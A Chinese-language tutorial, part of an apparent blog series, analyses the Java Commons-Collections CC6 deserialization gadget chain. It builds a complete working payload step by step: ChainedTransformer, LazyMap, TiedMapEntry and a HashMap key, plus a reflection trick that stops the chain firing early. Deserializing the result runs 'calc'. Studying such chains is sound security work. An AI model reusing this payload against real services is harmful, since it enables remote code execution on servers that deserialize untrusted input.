文章目录
- CC6和CC1之间的区别
- CC6的调用链
- 构造CC6的payload
- 完成`TiedMapEntry.getValue()`
- 完成`TiedMapEntry.hashCode()`
- 完成`HashMap.hash()`及`HashMap.readObject()`
- 解决`hash()`方法提前触发的问题
系列篇其他文章,推荐顺序观看~
- Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
- Java反序列化利用链篇 | CC1链_全网最菜的分析思路
- Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链
- Java反序列化利用链篇 | URLDNS链
- Java反序列化利用链篇 | CC6链分析(通用版CC链)
CC6和CC1之间的区别
在CC1的LazyMap链中,调用链如下:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
而在CC1链中,对CommonsCollections和jdk版本是有限制的。
而CC6链不受版本影响,更具通用性。
其调用链为:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
其和CC1的不同点在于,入口类不同,通过
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
调用了LazyMap
的get()
方法。
CC6的调用链
HashMap.readObject()
方法调用了HashMap.hash()
方法:
HashMap.hash()
方法调用了key.hashCode()
方法,如果要使调用的是TiedMapEntry.hashCode()
方法,需要使key
参数为TiedMapEntry
对象:
TiedMapEntry.hashCode()
方法调用了TiedMapEntry.getValue()
方法:
TiedMapEntry.getValue()
方法调用了map.get()
方法,如果要使被调用的是LazyMap.get()
方法,需要使map
属性为LazyMap
对象:
构造CC6的payload
CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
完成TiedMapEntry.getValue()
TiedMapEntry.getValue()
方法,会调用map.get()
,其中将map
属性设置为LazyMap
对象
而TiedMapEntry
的构造方法为public,所以可以直接实例化
代码如下:
这里有一个点需要注意(小坑):
TiedMapEntry()
构造方法的第二个参数用不到,所以随意传入进行,但是重要的是它接受一个Object对象,而这个对象的类需要实现Serializable接口,如果不是,则后续的序列化不能成功。
所以,这里不能传入new Object(),但可以传入new String(),因为Object类没有实现Serializable接口。
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
其中的getValue()
也为public
修饰,所以可以直接调用用来测试
tiedMapEntry.getValue();
运行,成功执行恶意代码:
完成TiedMapEntry.hashCode()
接下来,看谁调用了tiedMapEntry的getValue()
,前面已经说过,TiedMapEntry
的hashCode()
方法中有调用,因此:
tiedMapEntry.hashCode();
这里直接测试,此时代码如下(只是将getValue
方法替换成了hashCode
方法):
完成HashMap.hash()
及HashMap.readObject()
接下来就是HashMap
中的hash()
方法调用hashCode()
方法,其中传入的key
需要是tiedMapEntry
hash()
方法没有被public修饰,不能直接调用,因此需要利用readObject()
方法,因为在readObject()
方法中存在hash()
方法的调用。
readObject()
方法在反序列化的时候会被调用,因此我们只需要创建一个HashMap对象,然后序列化即可。注意key
需要保证是tiedMapEntry
代码如下:
HashMap hashMap = new HashMap();hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMap
此时的payload的代码如下:
// CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMapSerAndUnser.serialize(hashMap);
// SerAndUnser.unserialize("ser.bin");
看似完美,但是运行会发现,即使不进行序列,也会弹计算器?
这是为什么呢?
如果我们进入hashMap的put()
方法会发现,put()
方法中已经触发了hash()
方法,
接下来,解决一下这个问题
解决hash()
方法提前触发的问题
这里其实跟URLDNS链中的情况差不多~
我们的解决思路是:
- 1)
tiedMapEntry
对象在put
方式放入hashMap
对象时,使tiedMapEntry
对象中的内容不完整,进而不让最终的代码触发。 - 2)
put
完成之后,通过反射再将tiedMapEntry
对象中的内容修改完整。
那如何让tiedMapEntry
对象中的内容不完整呢?这里需要看一下tiedMapEntry
对象中有什么:
可以看到tiedMapEntry对象中有lazyMap、chainedTransformer、transformerArray。
其中tiedMapEntry对象的map
属性存放的就是lazyMap,我们将map
属性设置为空的map对象(除上面创建的lazyMap都行),则最终就不会触发到恶意代码 (当然其他的也行:只要保证整个链子到不了恶意代码就行)。
第1步先获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
第2步将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
第3步,完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);
因此最终的payload为:
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa"); // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");